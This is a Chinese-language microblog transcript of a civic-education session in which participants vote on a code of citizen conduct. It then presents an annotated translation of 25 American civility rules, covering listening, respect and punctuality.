<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 27 ) 有人提出不准随地大小便。大伙别笑，这是我课上学生认真提出来的。咱们讨论一下这应不应当写入公民守则。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(28 )翟明磊认为：什么不准随地大小便，随地吐痰，这些标语不应写入公民守则，因为这些标语本身就是对一个成年人人格的污辱是一种没有礼貌的非公民行为，把我们中国成年人看成小孩是政府家长的意识的体现，本身与公民性是违背的。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 29 ) 我还记得世博期间，上海政府还刷了巨幅的地铁广告：上写乘地铁请不带包或尽量少带包。我当时就觉得真是……政府有点脑残，我带不带包关你屁事。我妈都管不了这个事。别弄得政府跟妈似的，不对，政府觉得就是咱们公民本人了。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 30 ) 不过呢，不准随地大小便要不要写进公民守则，我们还是表决吧。尊重听众意见。表决开始,五分钟.请点评此贴,说同意还是不同意.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/sheldon1">宋鹏</a>(@sheldon1):  今晚谈的应该是公民区别于P民的方面，而这个是共性</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 31 ) 总算挽回了一下咱中国人的面子，好悬！反对，十三票，赞同十二票，不准随地大小便不写进公民守则。哈哈。我刚才还去尿了一尿，不过不是随便的，在俺家坑里。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 32 ) 有推友cuiyunxin：提出： 积极关心、参与本国家及地区的社会公共事务。第四条表决开始，五分钟。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 33) 第四条， 积极关心、参与本国家及地区的社会公共事务。16票通过，一票反对。第四条通过。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 34 ) 征求第五条修养守则。游戏时间有点长了，唉，民主就是效率低，本来想弄九条的。我们以四十五分结束好不好。因为游戏之后还有更精彩的。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 35)牛牛: 独立的思考分析判断能力 仁者二人也: 不随大流，不受蛊惑，不屈服于权势的独立的思考分析判断能力。好，我总结一下。公民要具有独立的思考能力，不受盅惑，不屈服于权势。这一条列为第五条。请点击此贴，表决。开始五分钟。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 36)鼓掌吧，四十同意，无人反对。第五条：公民要具有独立的思考能力，不受盅惑，不屈服于权势。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 37)征求第六条，请大家加油，民主有时就是这么罗嗦。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 38 ) 有人提出热爱生命，大家论讨一下，我这儿提出一个极端的例子，如果一个人有自杀倾向，他是不是可以是合格的公民？我们知道不少诗人都有自杀倾向，一个人可能对生命厌倦了，也可能有更高的精神追求，一个人可不可以同时想自杀，又是公民。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 39 ) 我们再举个例子，越南战争时，有一个和尚自杀了，点火自焚抗议战争。他是不是一个有公民意识的人。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(40 ) 这样的讨论提醒我们公民守则，或公民素质需不需涉及个人的宗教观，生命观，私德？国家观，美学观，</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(41 ) 时间关系，最后第六条表决：有听众提出：自觉保护我们生存的自然环境。表决开始，五分钟。哈哈，大家伙累了吧。受累受累。可见商量共同的规则是需要费事的。 || <a style="color:#0066cc;" href="http://t.qq.com/zhaiminglei">翟明磊</a>(@zhaiminglei): 请表决最后一条</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">我们的表决是一个寻找公民共识的过程。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(42 ) 最后一条通过第六条：自觉保护我们生存的自然环境。36票通过，6票反对，第六条通过。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 43 )由于时间关系，守则制定游戏结束。中国公民修养守则如下。第一条：我不同意你的观点，但我坚持捍卫你说话的权利。第二条清晰并坚决维护自己公民权利，并尽应尽的义务。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 44)第三条：孝顺父母。第四条：积极关心参与本国及地区的社会公共事务。第五，公民要有独立思考能力，不受盅惑不屈于权势。 第六，自觉保护我们生存的自然环境。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 45 ):各位公民守则委员会的朋友们,我们大致定出了我们自己制定的公民守则,现在呢让我们来看一下,美国人的公民守则是如何的呢.以下守则是美国一所大学的公民修养计划守则,由中国最好的公民教员陈健民先生翻译解释,我也加注评(用翟评注明)</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 46 )陈健民老师是耶鲁大学博士,他的老师是世界民主理论的权威学者JUAN LINZ,陈健民先生早年参加过社会运动后因为工作中的困惑西渡求学</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 47 )陈健民现在香港中文大学公民社会中心任教,被学生们投票评为中文大学最受学生欢迎的老师,我有幸与他同事于&lt;&lt;民间&gt;&gt;杂志.有请陈健民老师为我们讲述. <span style="color:#0000ff;"><strong>美国25项公民修养守则</strong></span></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 39 )陈健民：公民社会虽然崇尚关爱、正义、参与、宽容等崇高理想，但在公共生活中，却又经常因为人际间的冲突，令不少参与者对这些理想产生怀疑。美国约翰霍金斯大学修养计划 中提出了25项守则，我觉得对于堤高「公民性」，改善公共生活有相当参考价值。25项公民修养如下:</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 40 )美国的公民守则<span style="color:#0000ff;"><strong>1.关注 (pay attention) – 留意他人的处境</strong></span>。在公众地方大声谈手机便是没有关注其它人可能受到骚扰。 (翟评:上海人不少人最喜欢在公共场合几个人哇啦哇啦说个不停.)</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 41 )美国的公民守则 <span style="color:#0000ff;"><strong>2.肯定他人的存在价值 (acknowledging others)</strong></span> – 插队不单浪费了排队的人的时间，而且是否定人们的存在，否定往往引发冲突。 (翟评:己所不欲勿施于人,这和中国君子之道是相通的.)</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 42 )美国的公民守则3上 <span style="color:#0000ff;"><strong>3.向好处想 (think the best) – 先往人家的好处想，不单令自已的心灵保持纯真轻省，亦会影向对方更真诚与您相处。</strong></span>在基督教文化中，有教导说接待陌生人，无意中便接待了天使。我在美国迷路、坏车时经常踫到人们积极协助。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 43 )美国的公民守则3下：但中国人「防人之心不可无」是根深蒂固的，我们对热情的陌生人会有所顾忌，结果是向人家浇了一盘冷水。其实往好处想不是盲目不设防，只是世上如果好人居多，就不应先假设对方是坏人，结果是大家崩紧神经做人。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 44 ) <span style="color:#0000ff;"><strong>4.聆听 (listen) </strong></span>– 当我们打断人家的说话，抢着提出自已的论点时，不单显示我们不耐烦，而且反映我们有「自恋」倾向，要将水银灯移到自己头上。打断人家说话的一种不显眼做法，是对人家说话的内容不作响应，然后自说自话。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 45 )同事告诉你刚去过云南，你却未及追问她对云南的感觉，便兴高彩烈谈你两年前在云南的游历和您对云南的观感。您的目光注视在自己的过去，而不是当下的友人。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 46 )我们要学习安静，让人家有机会说话。关掉电视、手机，不要想着下一个约会的事情，让自己聆听别人的观点和感受，也让自己逃离自我中心的世界。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 47 )翟评:我经常问同学你真的会聆听吗,同学们说会会会,我说但是你们最基本的一条都做不到:不打断别人的说话.打断别人的说话其实埋下了争执的潜意识.所以在众多公民议事规则中,这是最基本的一条，回应不得法,完全是没有理解别人的意思的回应.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 48 )美国的公民守则5上 <strong><span style="color:#0000ff;">5.兼容接纳 (be inclusive)</span></strong> – 每个人都乐于被人接纳。群体带给人安全感，甚至生活意义和方向，谁也不想被群体排斥。我们要特别小心不要孤立群体中的小数人，譬如一群人聚会时最好说普通话，不要用方言交谈而令其它人在旁边发呆</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 49 )美国的公民守则5下留意找一些共同话题让人人参与，而非只有小圈子有发言权; 如果有新朋友加入聚会，应该总结一下之前的讨论，让他易于加入讨论；主持会议的人，应尽可能引导所有与会者发言，提高每个人的参与感。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 50 )美国的公民守则5评 翟评:请朋友们不要小看这个细节,有时人的孤立情绪就会这样产生,而孤立会产生落寞,落寞会产生敌对,所以一个公民要善于接纳新的朋友,善于调动人们的参与感,公民的点点滴滴成就就在这友善的气氛中讨论行动</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/zhaiminglei">翟明磊</a>转播: 说得好。 || <a style="color:#0066cc;" href="http://t.qq.com/zhang_0565">leo</a>(@zhang_0565):  其實中國氏傳統的教育是不提倡這個的，小時候打斷家人說話時都會被父母罵的。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 51 )美国的公民守则6上 <span style="color:#0000ff;"><strong>6.言调温和 (speak kindly) </strong></span>– 深思熟虑、言调温和是公民修养的核心。我们不要低估语言的力量，它可以建立也可以摧毁听者的自我。善良的说话令身边的人生活在喜乐之中。有时，要懂得在陈述自己的观点后，让对方有说话的机会。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 52 ) 6中:要控制声量，大声说话令人受惊，窒息对话。争论时要以事论事，不要攻击对方的种族、国藉、性别或其它与论题无关的私人生活。 “你们女人就是这样不讲逻辑…”、“你们北方人就是那样不设实际…”都是不能接受。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 53 ) 6下即使意见分歧，亦要把对方视为有血有肉的人，而非只是一个要被彻底打倒的谬误。想一想对方为何会接受这样(你认为是错误)的理念，有助于平心静气、化解分歧。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 54)必须尊重对方，不要把人的弱点作为取笑的对象、不要贬低人家的成就。用语言践踏人家是想抬高自己，是嫉妒，是自卑感作祟。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 55 )翟评:这里我有沉痛体会要告诉大家,语言真的可以摧毁人.与杨佳妈妈访谈七个小时,我第一次知道,那个有初步公民意识的杨佳为何沦为杀人犯,起因很简单,查车的警察见面第二句用了上海最难听的脏话骂了杨佳,激起了杨佳血性.有时悲剧的起因就是这么简单。千万不要小视你的语言</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 56 )美国的公民守则7上 <span style="color:#0000ff;"><strong>7.不在背后说闲话 (don’t speak ill)</strong></span> – 如果您经常以中性或正面的方式谈论他人，人们便放心坦诚地与您交往而不用担心您会在背后蜚短流长。您控制您的舌头，换来更多真诚的关系。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 57 )美国的公民守则7下. (翟评)中国人之所以有这么多办公室政治原因也在此.对于一些朋友,应当背后赞誉,私室规过.当然对公共人物的评论有时例外.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 58 )上 <span style="color:#0000ff;"><strong>8.接纳和给予赞赏 (accept and give praise)</strong></span> – 不要吝啬赞美，它令对方心情愉快，亦令自己有正面的人生观。但讃美必须出于真诚，否则变成花言巧语。要注意在工作地方不能随便赞美同事的外形，目不转睛盯着女同事亦会惹来反感。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">（59 ) 8下 翟评:在我们这个社会为什么有这么多怨妇,怨男,我们不善于调节心情,也同时小气赞美.如果我们选择对它人的赞美,我们的心态也会更加阳光.善于发现别人的优点,也更易感恩.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 60 )美国的公民守则9上 <strong><span style="color:#0000ff;">9.尊重他人意愿 (respect even a subtle “no”)</span></strong> – 无论您的提议是出自最良好的愿望，人家说 “不”，就不应强求。有时人家为了保护我们的自尊，用种种间接的方式向我们说 “不”，我们应该领情，而非因为人家未有明言，便穷追不舍。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 61 )美国的公民守则9下为甚么我们不愿意面对人家的拒绝? 因为我们还像小孩一样自我中心，希望世界按着我们的喜好运转。有时是因为我们自信心太低，觉得人家拒绝我的好意，便是把我全盘否定。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">翟：向大家致歉，由于前半部分节奏慢，我的主持不佳。未能制定出更详尽的中国公民修养守则，否则对比起来更有意思。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 62 )美则10上 <span style="color:#0000ff;"><strong>10.尊重他人意见 (respect others’ opinions)</strong></span> – 是否真能做到这一点，便要看我们采取怎样的方式与人争论。有几个要点应该注意: i) 即使您只是有保留地接受对方的观点，亦不应全面否定他人的主要论点:「我同意一般来说您的观点是对的，但在一些情况下….」</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 63 )ii) 即使您不同意对方观点，亦无需认为对方是全不合理的: 「您的想法的确有其说服力，但是….」</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 64 )美国的公民守则10中iii) 容许自己有改变看法的空间: 「我现在还未被您说服，或者我对这问题还是了解不够。」iv) 明白有些事情是见仁见智: 「您说得没错，但如果换一个角度看这事情….」。讨论问题时最重要的是把自己的意见看为一种观点，而非绝对的真理。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/zhaiminglei">翟明磊</a>:哎呀腰又疼了。大家肯定也坐累了。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 65 )美国的公民守则10下:容许有异议的空间，甚至应主动征求参与者发表意见。翟评:有时你有道理,但表达方式至关重要,千万不要以为对亲近的人就可以放言无忌,不用敬语,我们经常看到朋友,亲人之间的反目,美好的夫妻因日常的磨擦而失去爱意,正在于此.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 66 )美国的公民守则11上 <strong><span style="color:#0000ff;">11.身体护理 (mind your body)</span></strong> – 好好打理自己的身体是对自己和他人的尊重。干净而没有异味的身体和头发、指甲不藏污纳垢、干净的牙齿和清新的口气，令您在公共生活中，无论在公交车、地铁、或者与人讨论时更有自信，亦令人更愿意与您交往。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 67 )美国的公民守则11下我们亦要注意身体发出的声音: 打喷嚏、打呵欠、倒胃气、放屁都会令人感到不适，应该用手帕遮掩或者躲入洗手间处理。翟评:我在课上讲到陈老师这一段时,同学们也笑了.也许我们还不适应一个绅士的表达方式.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 68 )美国的公民守则<strong><span style="color:#0000ff;"> 12.迁就他人 (be agreeable)</span></strong></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 69 )美国的公民守则 <strong><span style="color:#0000ff;">13.表达自己 (assert yourself)</span></strong> – 过度迁就他人而失却自我对精神健康有害，适当时候要表达自己的意愿和意见，拒绝过度的要求。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 70 )翟评:在我们的父母辈,女性常被要求隐忍,为他人的牺牲,结果造成了众多妇女的不幸,迁就他人,但并不是说没有自己的主体意识,这是公民的底线.也是与中国妇道传统的不同之处.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(71 )美国守则 <strong><span style="color:#0000ff;">14.保持安静 (keep it down and rediscover silence) </span></strong>– 燥音带来精神紧张、高血压、失聪，我们有责任留意自己制造的声浪 (如谈话、音乐)是否骚扰他人。 翟评:这是为什么我们出国时发现正常国家社会上是如此安静,大家用轻语柔声交往的原因.请降我们的大嗓门吧.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 72 )美国的公民守则 <strong><span style="color:#0000ff;">15.尊重他人的时间 (respect other people’s time) </span></strong>– 守时是对他人时间的尊重，迟到便应设法通知对方，到达后必须向各人道歉。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 73 )翟评:每次上课,我不会提前十秒钟讲述,也不会拖十秒的堂,每个人的时间是属于自己的.中国老板喜欢让员工下班后还做工作.在美国不少报社,到了点,总编,记者是非常准时下班的.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 74 )美国的公民守则16 <strong><span style="color:#0000ff;">16.尊重他人的空间 (respect other people’s space) </span></strong>– 不要挤拥他人、让人们先离开一个空间 (升降机、车厢)才进去。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 75 )美则16评:翟评:一位中国诗人记下俄罗斯见闻,一入海关口,完全有充足时间,也有充足的空间,但中国人莫明其妙跑起来,挤成一团. 不知道为什么中国人总有一种恐慌,俄罗斯人见此,一脸看不起,也许心里想,我们很穷,但我们至少还有文明.(当时苏联刚解体, 俄罗斯经济状况很差.)</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(76 )美国的公民守则17 <strong><span style="color:#0000ff;">17.真诚道歉 (apologize earnestly) </span></strong>翟评:中国人爱面子,稍有地位的人总是很难道歉,有时道歉了,背后还想着因没了面子而报复.毛泽东有这个毛病,你有没有呢?</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 77 )美国的公民守则 <strong><span style="color:#0000ff;">18.避开私人问题</span></strong>– 除非彼此已进入朋友关系，在公共生活中避免询问人家的年龄、婚姻状况、为何不生孩子、看医生、做了甚么手术、收入和消费情况等。对某些国家的人来说，详细询问他人政治取向(如投票记录)，或者宗教信仰(如是否经常上教堂和祈祷)，可能视为侵私隐。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 78 )美国的公民守则19 <strong><span style="color:#0000ff;">19.好好接侍访客 (care your guests)</span></strong>翟评:你真的会好好接待访客吗,有多少中国人是只会接待贵客而不愿接待普通的客人,没有权势的客人.你只要看看公务员接待上访者的态度就知道我们离公民社会有多远.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 79 )美国的公民守则 <span style="color:#0000ff;"><strong>20.做一个为他人设想的访客 (be a considerate guest)</strong></span></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 80)美国的公民守则<strong><span style="color:#0000ff;"> 21.不要随便要人行方便</span></strong> – 特别是当那件事会为第三者带来不便或者违反纪律，我们便陷他人于不义。翟评:这一点中国往往很难做到,走后门,拉关系,有时我们觉得别人帮点忙是手到擒来,但有时,在中国双重道德标准下,很可能为公务员埋下了祸根.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 81 )美国公民修养守则 <strong><span style="color:#0000ff;">22.不要只懂批评</span></strong> – 与其咀咒黑暗，不如点亮蜡烛。人生悲喜交集，每天有得有失，在乎我们选择以何种态度观之。不断投诉叫自己亦叫身边人疲累。翟评:不好意思,这也是我常犯的毛病,做为职业习惯,我们常对不公平言辞激烈,有时会态度单一.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 82 )美国的公民守则23上 <strong><span style="color:#0000ff;">23.接纳和提出建设性的批评 (accept and give constructive criticism) </span></strong>– 批评是严肃的事情，批评之前应确定自己是想解决问题而非藉此侮辱、操控、或报复对方。弄清楚问题所在、能否自控情绪、是否适当的时空作出批评等。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 83 )美国的公民守则23下忠言逆耳，批评令我们直面一些自己无法或不愿意面对的问题。但如果批评是无理取闹，便要学习如何断然否认，却又不会流于互相谩骂。翟评:学会批评是公民最基本的素质.学会不让批评互伤感情或上升为谩骂需要有理解人性的艺术.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 84 )美国的公民守则24 <strong><span style="color:#0000ff;">24.爱护环境和仁慈对待动物 (respect the environment and be gentle to animals)</span></strong></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 85 )美国的公民守则25 <strong><span style="color:#0000ff;">25.不要推御责任，怪罪他人 (don’t shift responsibility and blame)</span></strong></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 85 )美国的公民守则25 翟评:我们能否负起自己的责任,是消灭奴性的最要一部分,在我们的社会中经常看到一些机构中人人不负责任.在国企中尤多.在艾未未的关于杨佳的纪录片中,上海公安局从看门的,到接待的,到上海的律师,没有一个是敢于负责任的,这就是我们的公民现状.</p>
